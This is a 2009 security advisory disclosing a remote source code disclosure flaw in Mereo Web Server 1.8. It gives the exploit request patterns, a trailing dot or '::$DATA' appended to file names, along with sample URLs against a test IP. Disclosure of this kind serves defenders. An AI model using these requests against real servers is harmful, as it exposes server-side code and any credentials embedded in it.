Mereo 1.8.0 File Disclosure

2009-09-26T00:00:00
ID PACKETSTORM:81669
Type packetstorm
Reporter Dr_IDE
Modified 2009-09-26T00:00:00

Description

                                        
                                            `#################################################################################  
#  
# Mereo Web Server v1.8 Multiple Remote Source Code Disclosure  
# Found By: Dr_IDE  
# Tested On: Windows XPSP3  
#  
#################################################################################  
  
- Description -  
  
Mereo Web Server v1.8 is a Windows based HTTP server. This is the latest version of  
the application available.   
  
Mereo is vulnerable to remote arbitrary source code disclosure by the following means.  
  
- Technical Details -  
  
http://[ webserver IP]/[ file ][.]  
http://[ webserver IP]/[ file ][::$DATA]  
  
http://172.16.2.101/index.html.  
http://172.16.2.101/index.html::$DATA  
`